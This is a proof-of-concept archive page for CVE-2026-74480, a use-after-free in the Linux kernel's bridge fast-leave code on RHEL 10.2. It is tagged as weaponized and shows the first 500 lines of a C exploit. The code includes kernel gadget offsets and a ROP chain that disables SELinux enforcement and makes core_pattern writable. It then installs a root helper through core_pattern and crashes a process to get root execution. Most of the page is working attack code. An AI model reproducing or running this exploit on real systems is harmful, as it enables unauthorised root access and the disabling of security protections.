PoC Archive PoC Archive
CVE-2026-74480 category: binary CVSS 9.8 (CRITICAL)
Unverified

Linux Bridge Fast-Leave Port Deletion UAF LPE (CVE-2026-74480)

Published: 2026-09-04 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (net bridge fast-leave)
Affected versions RHEL 10.2 (kernel 6.12.0-211.7.3.el10_2)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-74480
Category
binary
Affected product
Linux kernel (net bridge fast-leave)
Affected versions
RHEL 10.2 (kernel 6.12.0-211.7.3.el10_2)
Disclosed
2026-09-04
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-04
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-74480
Categorybinary
SeverityCritical
CVSS Score9.8
StatusWeaponized
TagsLPE, Linux kernel, bridge, fast-leave, UAF, RHEL, core_pattern, C

Affected Target

FieldValue
Software / SystemLinux kernel (net bridge fast-leave)
Versions AffectedRHEL 10.2 (kernel 6.12.0-211.7.3.el10_2)
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-74480 is a use-after-free in the Linux kernel bridge subsystem triggered when fast-leave continues after a port is deleted. Nebula Security developed a weaponized exploit that uses user key spray to reclaim the freed object, performs a KASLR bypass via physmap leak, then overwrites core_pattern to achieve root execution.

Vulnerability Details

Root Cause

The bridge multicast fast-leave path does not stop processing after a port is deleted, leading to a use-after-free on the port structure. The exploit reclaims the freed slab with user_key_payload objects containing crafted ROP data.

Attack Vector

  1. Create bridge with veth pairs and enable fast-leave
  2. Race port deletion against multicast leave processing
  3. Spray user key payloads to reclaim freed bridge port object
  4. KASLR bypass via physmap/CEA leak
  5. ROP chain overwrites core_pattern mode and triggers controlled crash for root shell

Impact

Local privilege escalation to root on RHEL 10.2. Critical severity (CVSS 9.8) due to the network-reachable bridge path.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-04.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_bridge.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/keyctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <netinet/in.h>
#include <pthread.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "leak.h"

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define KERNEL_BASE 0xffffffff81000000ULL
#define KERNEL_IMAGE_PAGES 29
#define CPU1_CEA_PHYS_OFFSET 0x3d118f58ULL

/* RHEL 10.2, kernel 6.12.0-211.7.3.el10_2.x86_64. */
#define OFF_PIVOT_RBX 0xa69585ULL
#define OFF_POP_RSI 0x2c9ULL
#define OFF_WRITE_EAX4 0x783a4ULL
#define OFF_WRITE_MODE_0666 0x8f32ceULL
#define OFF_DO_EXIT 0x14ce20ULL
#define OFF_CORE_PATTERN_MODE 0x26b136cULL
#define OFF_SELINUX_STATE 0x344e760ULL

#define KEY_SPEC_PROCESS_KEYRING -2
#define USER_PAYLOAD_LEN 225
#define PG_MGLIST_NEXT 168
#define PG_MGLIST_PPREV 176
#define PG_MCAST_GC_NEXT 208
#define PG_MCAST_DESTROY 224
#define PAYLOAD_OFFSET 24
#define SPRAY_PER_CPU 39
#define RECLAIM_DELAY_US 5500000
#define POLL_FILLERS_PER_CPU 192
#define GC_PADDING_GROUPS 4096
#define EARLY_SPRAY_DELAY_US 5000

static uint64_t kernel_slide;
static uint64_t physmap_base;
static uint64_t cea;
static uint64_t pivot_rbx;
static uint64_t pop_rsi;
static uint64_t write_eax4;
static uint64_t write_mode_0666;
static uint64_t do_exit_addr;
static uint64_t core_pattern_mode;
static uint64_t selinux_enforcing;
static int addresses_resolved;
static long spray_keyring = KEY_SPEC_PROCESS_KEYRING;

static int stage2_ready[2];
static int won_pipe[2];
static int poll_fill_ready[2];
static long long spray_epoch_ns;
static int spray_epoch_armed;

static void die(const char *what);

struct cea_regs15_payload {
    uint64_t r15;
    uint64_t r14;
    uint64_t r13;
    uint64_t r12;
    uint64_t rbp;
    uint64_t rbx;
    uint64_t r11;
    uint64_t r10;
    uint64_t r9;
    uint64_t r8;
    uint64_t rax;
    uint64_t rcx;
    uint64_t rdx;
    uint64_t rsi;
    uint64_t rdi;
};

static void pin_cpu(int cpu)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0)
        die("sched_setaffinity");
}

static void *hold_kmalloc_256(void *argument)
{
    struct pollfd entries[60];
    int cpu = (int)(intptr_t)argument;

    pin_cpu(cpu);
    memset(entries, 0, sizeof(entries));
    for (size_t i = 0; i < ARRAY_SIZE(entries); i++)
        entries[i].fd = -1;
    if (write(poll_fill_ready[1], "P", 1) != 1)
        return NULL;
    (void)poll(entries, ARRAY_SIZE(entries), 60000);
    return NULL;
}

static void fill_kmalloc_256_freelists(void)
{
    pthread_t thread;
    char ready;
    int count = POLL_FILLERS_PER_CPU * 2;

    if (pipe(poll_fill_ready))
        die("pipe poll fill");
    for (int i = 0; i < count; i++) {
        if (pthread_create(&thread, NULL, hold_kmalloc_256,
                           (void *)(intptr_t)(i & 1)))
            die("pthread_create poll fill");
        pthread_detach(thread);
    }
    for (int i = 0; i < count; i++) {
        if (read(poll_fill_ready[0], &ready, 1) != 1)
            die("read poll fill ready");
    }
    usleep(100000);
    puts("[+] pinned kmalloc-256 filler objects");
}

static void resolve_addresses(void)
{
    if (addresses_resolved)
        return;
    kernel_slide = leak_image_slide(KERNEL_IMAGE_PAGES);
    physmap_base = leak_phys_map_base_stable(11);
    cea = physmap_base + CPU1_CEA_PHYS_OFFSET;
    pivot_rbx = KERNEL_BASE + OFF_PIVOT_RBX + kernel_slide;
    pop_rsi = KERNEL_BASE + OFF_POP_RSI + kernel_slide;
    write_eax4 = KERNEL_BASE + OFF_WRITE_EAX4 + kernel_slide;
    write_mode_0666 = KERNEL_BASE + OFF_WRITE_MODE_0666 + kernel_slide;
    do_exit_addr = KERNEL_BASE + OFF_DO_EXIT + kernel_slide;
    core_pattern_mode = KERNEL_BASE + OFF_CORE_PATTERN_MODE + kernel_slide;
    selinux_enforcing = KERNEL_BASE + OFF_SELINUX_STATE + kernel_slide;
    printf("[+] CEA=%#llx pivot=%#llx\n", (unsigned long long)cea,
           (unsigned long long)pivot_rbx);
    addresses_resolved = 1;
}

__attribute__((naked, noreturn))
static void spin_stage2(const struct cea_regs15_payload *p __attribute__((unused)))
{
    asm volatile(
        "mov %rdi, %rax\n\t"
        "mov 0x00(%rax), %r15\n\t"
        "mov 0x08(%rax), %r14\n\t"
        "mov 0x10(%rax), %r13\n\t"
        "mov 0x18(%rax), %r12\n\t"
        "mov 0x20(%rax), %rbp\n\t"
        "mov 0x28(%rax), %rbx\n\t"
        "mov 0x30(%rax), %r11\n\t"
        "mov 0x38(%rax), %r10\n\t"
        "mov 0x40(%rax), %r9\n\t"
        "mov 0x48(%rax), %r8\n\t"
        "mov 0x58(%rax), %rcx\n\t"
        "mov 0x60(%rax), %rdx\n\t"
        "mov 0x68(%rax), %rsi\n\t"
        "mov 0x70(%rax), %rdi\n\t"
        "mov 0x50(%rax), %rax\n\t"
        "1: pause\n\t"
        "jmp 1b\n\t");
}

static void run_stage2(void)
{
    static struct cea_regs15_payload regs;
    uint64_t *q = (uint64_t *)&regs;

    /* br_multicast_gc loads gc_node.next into RBX before the CFH call. */
    /*
     * hlist_del_init() writes the predecessor pointer to gc_node.next+8,
     * so CEA q[1] is unavoidably clobbered immediately before the callback.
     * The RHEL pivot executes `push rbx; pop rsp`, then jumps into a normal
     * epilogue which skips q[0], consumes q[1] through q[5] as saved
     * registers, and returns through q[6].
     */
    q[0] = 0;
    q[1] = 0;
    q[2] = 0;
    q[3] = 0;
    q[4] = 0;
    q[5] = 0;
    /*
     * The pivot epilogue starts with `xor eax,eax`, so the first compact store
     * clears selinux_state.enforcing without needing a value-pop gadget.  The
     * second compact gadget executes:
     *
     *   mov eax, 0x1b6; mov word ptr [rsi], ax;
     *   xor eax, eax; jmp __x86_return_thunk
     *
     * A 16-bit write is exact for ctl_table.mode and preserves the adjacent
     * sysctl flags.  Both policy changes therefore fit in the single CEA frame
     * produced by the assigned UAF; do_exit is the non-returning tail.
     */
    q[6] = pop_rsi;
    q[7] = selinux_enforcing;
    q[8] = write_eax4;
    q[9] = pop_rsi;
    q[10] = core_pattern_mode;
    q[11] = write_mode_0666;
    q[12] = do_exit_addr;
    q[13] = 0;

    pin_cpu(1);
    if (write(stage2_ready[1], "R", 1) != 1)
        _exit(1);
    spin_stage2(&regs);
}

static int root_helper(const char *pid_string)
{
    char flag[4096];
    int pid = atoi(pid_string);
    int pfd = syscall(SYS_pidfd_open, pid, 0);
    int out = syscall(SYS_pidfd_getfd, pfd, 1, 0);
    int fd = open("/flag", O_RDONLY);
    int proof = open("/tmp/.a397-proof", O_WRONLY | O_CREAT | O_TRUNC,
                     0644);
    ssize_t n;

    if (out >= 0)
        dup2(out, STDOUT_FILENO);
    if (fd < 0)
        return 1;
    (void)!write(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13);
    if (proof >= 0)
        (void)!write(proof, "RHEL_FLAG_OK\n", 13);
    n = read(fd, flag, sizeof(flag));
    if (n > 0) {
        char *zero = memchr(flag, 0, n);

        if (zero)
            n = zero - flag;
        (void)!write(STDOUT_FILENO, flag, n);
        if (proof >= 0)
            (void)!write(proof, flag, n);
        if (!n || flag[n - 1] != '\n')
            (void)!write(STDOUT_FILENO, "\n", 1);
        if (proof >= 0 && (!n || flag[n - 1] != '\n'))
            (void)!write(proof, "\n", 1);
    }
    if (proof >= 0)
        close(proof);
    return 0;
}

static void prepare_regular_helper(void)
{
    int self = open("/proc/self/exe", O_RDONLY);
    int helper = open("/tmp/.a397-helper",
                      O_WRONLY | O_CREAT | O_TRUNC, 0700);

    if (self < 0 || helper < 0)
        _exit(1);
    if (sendfile(helper, self, NULL, 1U << 30) < 0)
        _exit(1);
    if (fchmod(helper, 0755) < 0)
        _exit(1);
    close(helper);
    close(self);
}

static int selinux_is_disabled(void)
{
    char enforcing = '1';
    int fd = open("/sys/fs/selinux/enforce", O_RDONLY);

    if (fd < 0)
        return 0;
    (void)!read(fd, &enforcing, 1);
    close(fd);
    return enforcing == '0';
}

static void watch_payload_ready(void)
{
    int fd;
    const char pattern[] = "|/tmp/.a397-helper %P";

    pin_cpu(0);
    if (access("/tmp/.a397-helper", X_OK) < 0)
        prepare_regular_helper();
    while (!selinux_is_disabled())
        usleep(10000);
    puts("[+] selinux enforcing is disabled");
    while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0)
        usleep(10000);
    if (write(fd, pattern, sizeof(pattern) - 1) < 0)
        _exit(1);
    close(fd);
    (void)!write(won_pipe[1], "W", 1);
    puts("[+] core_pattern is writable");

    if (!fork()) {
        *(volatile unsigned long *)0 = 0;
        _exit(1);
    }
    sleep(5);
    _exit(0);
}

struct nl_buffer {
    char data[4096];
    char *tail;
    struct nlattr *nest[8];
    unsigned int depth;
};

static void die(const char *what)
{
    perror(what);
    exit(EXIT_FAILURE);
}

static void write_file(const char *path, const char *value)
{
    int fd = open(path, O_WRONLY);
    if (fd < 0)
        die(path);
    if (write(fd, value, strlen(value)) != (ssize_t)strlen(value))
        die("write_file");
    close(fd);
}

static void setup_namespaces(void)
{
    char map[64];
    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER) < 0)
        die("unshare userns");
    write_file("/proc/self/setgroups", "deny");
    snprintf(map, sizeof(map), "0 %u 1", uid);
    write_file("/proc/self/uid_map", map);
    snprintf(map, sizeof(map), "0 %u 1", gid);
    write_file("/proc/self/gid_map", map);
    if (unshare(CLONE_NEWNET) < 0)
        die("unshare netns");
}

static void nl_init(struct nl_buffer *msg, uint16_t type, uint16_t flags,
                    const void *payload, size_t payload_len)
{
    struct nlmsghdr *nlh;

    memset(msg, 0, sizeof(*msg));
    nlh = (struct nlmsghdr *)msg->data;
    nlh->nlmsg_type = type;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
    memcpy(NLMSG_DATA(nlh), payload, payload_len);
    msg->tail = (char *)NLMSG_DATA(nlh) + NLMSG_ALIGN(payload_len);
}

static void nl_attr(struct nl_buffer *msg, uint16_t type,
                    const void *value, size_t len)
{
    struct nlattr *attr = (struct nlattr *)msg->tail;

    attr->nla_type = type;
    attr->nla_len = sizeof(*attr) + len;
    if (len)
        memcpy(attr + 1, value, len);
    msg->tail += NLA_ALIGN(attr->nla_len);
}

static void nl_nest_start(struct nl_buffer *msg, uint16_t type)
{
    struct nlattr *attr = (struct nlattr *)msg->tail;

    attr->nla_type = type;
    msg->tail += sizeof(*attr);
    msg->nest[msg->depth++] = attr;
}

static void nl_nest_end(struct nl_buffer *msg)
{
    struct nlattr *attr = msg->nest[--msg->depth];
    attr->nla_len = msg->tail - (char *)attr;
}

static int nl_send(int fd, struct nl_buffer *msg)
{
    struct nlmsghdr *nlh = (struct nlmsghdr *)msg->data;
    struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
    ssize_t size;

    if (msg->depth || msg->tail > msg->data + sizeof(msg->data)) {
        errno = EOVERFLOW;
        return -1;
    }
    nlh->nlmsg_len = msg->tail - msg->data;
    size = sendto(fd, msg->data, nlh->nlmsg_len, 0,
                  (struct sockaddr *)&addr, sizeof(addr));
    if (size != (ssize_t)nlh->nlmsg_len)
        return -1;

    size = recv(fd, msg->data, sizeof(msg->data), 0);
    if (size < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr)))
        return -1;
    nlh = (struct nlmsghdr *)msg->data;
    if (nlh->nlmsg_type != NLMSG_ERROR) {
        errno = EPROTO;
        return -1;
    }
    errno = -((struct nlmsgerr *)NLMSG_DATA(nlh))->error;
    return errno ? -1 : 0;
}

static void add_bridge(int fd, const char *name)
{
    struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
    struct nl_buffer msg;
    uint8_t enabled = 1;

    nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL,
            &info, sizeof(info));
    nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1);
    nl_nest_start(&msg, IFLA_LINKINFO);
    nl_attr(&msg, IFLA_INFO_KIND, "bridge", sizeof("bridge"));
    nl_nest_start(&msg, IFLA_INFO_DATA);
    nl_attr(&msg, IFLA_BR_MCAST_SNOOPING, &enabled, sizeof(enabled));
    nl_nest_end(&msg);
    nl_nest_end(&msg);
    if (nl_send(fd, &msg) < 0)
        die("add bridge");
}

static void add_veth(int fd, const char *name, const char *peer)
{
    struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
    struct ifinfomsg peer_info = { .ifi_family = AF_UNSPEC };
    struct nl_buffer msg;

    nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL,
            &info, sizeof(info));
    nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1);
    nl_nest_start(&msg, IFLA_LINKINFO);
    nl_attr(&msg, IFLA_INFO_KIND, "veth", sizeof("veth"));
    nl_nest_start(&msg, IFLA_INFO_DATA);
    nl_nest_start(&msg, VETH_INFO_PEER);
    memcpy(msg.tail, &peer_info, sizeof(peer_info));
    msg.tail += NLMSG_ALIGN(sizeof(peer_info));
    nl_attr(&msg, IFLA_IFNAME, peer, strlen(peer) + 1);
    nl_nest_end(&msg);
    nl_nest_end(&msg);
    nl_nest_end(&msg);
    if (nl_send(fd, &msg) < 0)
        die("add veth");
}

static void set_link(int fd, const char *name, int master, int up)
{
Showing 500 of 953 lines View full file on GitHub →